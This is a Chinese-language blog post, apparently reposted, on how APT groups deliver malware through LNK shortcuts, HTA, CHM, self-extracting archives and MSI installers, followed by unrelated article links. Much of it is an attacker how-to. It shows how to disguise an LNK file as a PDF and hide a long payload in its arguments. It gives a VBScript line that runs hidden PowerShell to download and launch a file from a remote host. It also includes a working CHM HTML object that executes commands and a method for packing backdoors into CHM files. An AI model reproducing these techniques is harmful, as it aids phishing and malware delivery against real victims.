样本投递技术

投递技术

APT 组织主要以邮件作为投递载体,邮件的标题、正文和附件都可能携带恶意代码。主要的方式是附件是漏洞文档、附件是二进制可执行程序和正文中包含指向恶意网站的超链接这三种。

APT攻击的载荷类型:
文档类:主要是office文档、pdf文档
脚本类:js脚本、vbs脚本、powershell脚本等
可执行文件:一般为经过RLO处理过的可执行文件、自解压包
lnk:带漏洞的(如震网漏洞)和执行powershell、cmd等命令的快捷方式
网页类:html、hta等

LNK样本载荷

lnk是windows下的快捷方式文件。
.LNK文件的载荷拥有自动隐藏.lnk后缀名,从而展现伪装的后缀名以欺骗目标的特点而被广泛使用。

LNK文件如何诱导受害者打开:icon可更改为系统图标,隐藏.lnk后缀伪装成pdf等文件,
LNK文件如何投递样本:
1.伪装图标
新建一个lnk文件,更改图标,选择一个系统图标,lnk使用的icon所在的文件,本例中是%systemroot%\system32\shell32.dll
在这里插入图片描述
更改完后
在这里插入图片描述
使用010 Editor解析lnk文件:
可以看到在lnk文件中的变化主要体现在:

ShellLinkHeaderLinkFlags结构体中的HasIconLocation标志位置为1
在这里插入图片描述
IconIndex为使用的icon在目标中的下标;

在这里插入图片描述
最后是紧接在COMMAND_LINE_ARGUMENTS后的ICON_LOCATION字段,lnk使用的icon所在的文件,本例中是%systemroot%\system32\shell32.dll。
在这里插入图片描述
2.pdf利用:
生成HTA文件后门,在HTA文件执行Payload前添加如下语句
Dim open_pdf
Set open_pdf = CreateObject(“Wscript.Shell”)
open_pdf.run “powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile(‘http://192.168.50.2:8080/%E7%BA%AF%E6%B4%81%E7%9A%84pdf.pdf’,$env:temp+‘\纯洁的pdf.pdf’);Start-Process $env:temp’\纯洁的pdf.pdf’”, 0, true

快捷方式的目标:%windir%\System32\mshta.exe hta下载地址

将lnk 文件用copy /b 与真实的pdf文档捆绑增加真实性。
3.突破Lnk文件目标字符长度限制
在属性页中最多可见 255 个字符,但实际命令行执行的参数最长可达 4096 个字符。攻击者利用这一差异,使长参数在属性中不可见。

COMMAND_LINE_ARGUMENTS字段的长度可以支持到0xffff,修改CountCharacters大小,选中下一个结构,shift+ctrl+i 插入空白空间在string后。重新在COMMAND_LINE_ARGUMENTS中写入payload,也可以在COMMAND_LINE_ARGUMENTS字段范围中间加大量空格,最后末尾加上恶意命令,这样限于图形窗口中的260显示大小,可以一定程度上隐藏自身。
在这里插入图片描述

4.⽤powershell、mshta 、cmd、msiexec等⽅式上线
SideCopy/SideWinder:其惯用的手法是在钓鱼邮件中附加包含LNK文件的RAR压缩包,待目标用户解压附件后引导其执行伪装成PDF或其他Office文档的LNK文件以下载后续。其中LNK文件的利用方式为:通过mshta.exe执行后续HTA文件。
Gamaredon:其中LNK文件的利用方式为,通过msiexec.exe执行后续MSI文件。
伪猎者:通过cmd.exeecho|set拼接出指令“mshtahxxp://82.221.129.104/k0201.txt”执行并获取后续。
==Lazarus ==:zip+lnk,lnk通过msiexec下载msi
RDPWrap:powershell 执行hta,powershell指令存在混淆。
海莲花:lnk参数执行hta文件,hta文件执行dropper程序&诱饵文档,Shellcode加载执行最终Cobalt_Strike RAT程序

HTA文件

HTA:HTML Application 双击能运行。

HTA⽂件可以解析javascript和VB,通过mshta执行hta.

chm

1.CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。而该类型的文件是可以用Windows自带的hh.exe文件来进行打开。被IE浏览器支持的Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,CHM同样支持。

2.利用CHM钓鱼主要原因是因为该文档可以执行cmd命令,支持脚本语言

3.先将下列代码复制到根文件夹中的index.html中。

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=',calc.exe'>//执行命令<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

Easy CHM制作CHM文档。

4.bitter: chm执行恶意脚本创建计划任务,从服务器下载msi文件。
在这里插入图片描述

5…chm文件的默认程序hh.exe具有decompile的功能,可以将打包进chm的文件释放出来
HH.EXE -decompile dst src
因此可以将后门程序一起打包进chm文件中,运行时调用hh.exe释放chm中的后门程序再执行。
参考链接:
https://www.freebuf.com/articles/web/286340.html

自解压包+sfx

自解压指的是在没有压缩软件的主机上也可以进行解压的技术,生成的是exe文件。并且可以设置在解压(前/后)的时候执行某一段程序,这段程序被称为sfx程序
查看属性和解压查看内容。一般是exe/chm等+诱饵文档。
例如:
医疗保险报销单-样表和空白表.xls.zip f69fa2d07e1ad0625af8a5ec44db327d SFX

MSI

MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装一种产品所需要的信息和在很多安装情形下安装(和卸载)程序所需的指令和数据。

Orca:显示msi各种信息的工具。msiexec或lessmsi提取。7z解压看结构在判断是否存在病毒主体。
msi结构中:ExecuteScriptCode 可以看到恶意代码,除了VBScript 还可以包含JScript。

蔓灵花:msi中存在恶意脚本,也是解包分析

参考链接:

lnk:
https://zhuanlan.zhihu.com/p/111367963
https://m.freebuf.com/news/342632.html
https://m.freebuf.com/articles/network/338683.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/769688.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NEFU 《JAVA语言程序设计》实验三 类的继承、接口和多态

1. (程序题)设计具有工作能力接口Workable&#xff0c;声明抽象方法updateName()&#xff0c;通过传入的字符串修改姓名&#xff1b;声明抽象方法calculateSalary()&#xff0c;返回计算的薪资 设计员工实体类Employee&#xff0c;公司下所有员工均包含&#xff0c;姓名&#x…

数组——LEETCODE的第35题(二分法与lower_bound函数)

数组——LEETCODE的第35题&#xff08;二分法与lower_bound函数&#xff09; 本文主要是根据leetcode 35题所写的关于数组的相关内容&#xff0c;主要包括&#xff1a; 数组的的特性leetcode第35题二分法的解题lower_bound函数的使用 文章目录 数组——LEETCODE的第35题&#x…

面试题(一)

目录 1.JDK、JRE、JVM之间的区别 2.hashcode()和equals()的区别 3.String、StringBuffer、StringBuilder的区别 4.泛型中extends和super的区别 5.和equals()的区别 6.重写和重载的区别 7.List和Set的区别 8.ArrayList和LinkedList区别 9.谈谈ConcurrentHashMap的原理 …

LangChain核心模块 Retrieval——文档加载器

Retrieval ​ 许多LLM申请需要用户的特定数据&#xff0c;这些数据不属于模型训练集的一部分&#xff0c;实现这一目标的主要方法是RAG(检索增强生成)&#xff0c;在这个过程中&#xff0c;将检索外部数据&#xff0c;然后在执行生成步骤时将其传递给LLM。 ​ LangChain 提供…

Unsafe的CAS操作及线程park与unpark

如下是一个参照AQS进行的一个加锁及解锁的简单实现&#xff1a; 多线程并发进行同步业务操作&#xff1b;加锁&#xff1a;尝试进行cas 0->1操作&#xff1b;如果加锁成功则进行业务处理&#xff0c;然后进行锁释放 1->0&#xff0c;然后将列头的线程进行唤醒&#xff1…

GDAL中的地理坐标系、投影坐标系及其相互转换

目录 地理坐标系 国内常用地理坐标系 投影坐标系 国内常用投影坐标系&#xff08;不推荐使用&#xff09; 坐标转换 地理坐标转为投影坐标 投影坐标转为地理坐标 地理坐标系 原理参考这篇文章&#xff1a;地理坐标系与投影坐标系区别与联系 https://yunxingluoyun.blog.…

webserver如何从零开始?

我们要做一个项目&#xff0c;过程是怎么样的呢&#xff1f;git clone ...部署&#xff0c;测试&#xff0c;然后开始写么&#xff0c;这样你大概率会“猪脑过载”&#xff0c;对一个项目的每个部分都没有清晰认识&#xff0c;能写出什么来&#xff1f;写之前当然需要测试每个功…

Linux网络协议栈从应用层到内核层③

文章目录 1、write源码剖析2、vfs层进行数据传输3、socket层进行数据传输4、tcp层进行数据传输5、ip层进行数据传输6、网络设备层进行数据传输7、网卡驱动层进行数据传输8、数据传输的整个流程 1、write源码剖析 系统调用原型 ssize_t write(int fildes, const void *buf, si…

Linux 在线yum安装: PostgreSQL 15.6数据库

Linux 在线yum安装&#xff1a; PostgreSQL 15.6数据库 1、PostgreSQL数据库简介2、在线安装PostgreSQL15.63、配置 PostgreSQL的环境变量4、使用默认用户登录PostgreSQL5、配置 PostgreSQL 允许远程登录6、修改 PostgreSQL 默认端口7、创建数据库和表、远程用户zyl8、pgAdmin远…

MATLAB环境下基于离散小波变换和主成分平均的医学图像融合方法

随着计算机技术和生物影像工程的日趋成熟&#xff0c;医学图像为医疗诊断提供的信息越来越丰富。目前&#xff0c;由于医学成像的设备种类繁多&#xff0c;导致医生获得的图像信息差异较大。如何把这些信息进行整合供医生使用成为当务之急。基于此&#xff0c;医学图像融合技术…

Rust 实战练习 - 8. 内存,ASM,外挂 【重磅】

目标&#xff1a; C写一个Demo版本的游戏由浅入深&#xff0c;了解外挂原理Linux/Android下实现内存读取ptrace实现内存修改&#xff08;依赖第三方库&#xff09; 先准备一个C写的小游戏 #include <stdio.h> #include <string.h>struct Role {float pos_x; // …

vue3+vite配置环境变量

1、创建环境变量文件&#xff1a;首先在vue3项目根目录创建.env.development 和 .env.prodution两个文件&#xff0c;分别为开发和生产环境&#xff08;必须.env.开头&#xff0c;需要额外环境&#xff0c;配置自定义的文件名称即可&#xff09; 2、在环境变量文件分别写对应…

Android内存优化项目经验分享 兼顾效率与性能

背景 项目上线一段时间后,回顾重要页面 保证更好用户体验及生产效率&#xff0c;做了内存优化和下载导出优化&#xff0c;具体效果如最后的一节的表格所示。 下面针对拍摄流程的两个页面 预览页 导出页优化实例进行介绍&#xff1a; 一.拍摄前预览页面优化 预览效果问题 存在…

试试前端自动化测试(基础篇)

众所周知的原因&#xff0c;前端作为一种特殊的 GUI 软件&#xff0c;做自动化测试困难重重。在快速迭代&#xff0c;UI 变动大的业务中&#xff0c;自动化测试想要落地更是男上加男 &#x1f436;。 近期的学习过程中&#xff0c;翻阅了众多前端自动化测试相关的文章&#xf…

【兆易创新GD32H759I-EVAL开发板】 关于LVGL 的内存配置

【兆易创新GD32H759I-EVAL开发板】拥有外部32MB的 SDRAM 在使用LVGL时 可以随意分配大小 但是我们也应该明白 所定义的内存大小的 的一些概念 LVGL中 有单独的 定义 LV_MEM_SIZE 定义内存大小 LVLG 中 在定义 显示程序 接口时 还需要用到 lv_disp_draw_buf_init() 分配显存…

MyBatis框架解析与优化

MyBatis 是一个半 ORM&#xff08;对象关系映射&#xff09;框架&#xff0c;它内部封装了 JDBC&#xff0c;开发时只需要关注 SQL 语句本身&#xff0c;不需要花费精力去处理加载驱动、创建连接、创建 statement 等繁杂的过程。 什么是 MyBatis&#xff1f; MyBatis 是一个半…

【3D reconstruction 学习笔记】

三维重建 3D reconstruction 1. 相机几何针孔相机摄像机几何 2. 相机标定线性方程组的解齐次线性方程组的解非线性方程组的最小二乘解透镜相机标定带畸变的相机标定 3. 单视图重建2D平面上的变换3D空间上的变换单视测量无穷远点 无穷远线 无穷远平面影消点 影消线单视重构 4. 三…

天艺制盖邀您参观2024第七届世界燕窝及天然滋补品博览会

2024第七届世界燕窝及天然滋补品博览会 2024年8月7-9日| 上海新国际博览中心 上海燕博会 世界燕窝及天然滋补品展览会暨世界滋补产业生态发展大会&#xff08;简称上海燕博会&#xff09;&#xff0c;2017年创办于中国上海&#xff0c;是一年一度的世界燕窝滋补品行业盛会。…

宁波中墙建材施工过程中,如何确保陶粒复合砌块的垂直度和水平度符合要求?

宁波中墙建材陶粒复合砌块如何使用 确保陶粒复合砌块施工质量的建议&#xff1a; 基层处理&#xff1a;在施工前&#xff0c;确保基层干净、平整、坚固&#xff0c;去除表面的杂物和油污等。 砌块质量&#xff1a;选择质量好、尺寸规格一致的陶粒复合砌块&#xff0c;避免使用有…

【串口开发】android 智能设备开发 知识笔记

1.一般的波特率选择115200,自己玩的可以用9600等随便的 2.为了android方便操作,引入了 implementation com.licheedev:android-serialport:2.1.3包。 不然就得手写了,比如像这样 ,打开串口监听 // 打开串口boolean openSerialPort = mSerialPortManager.setOnOpenSerial…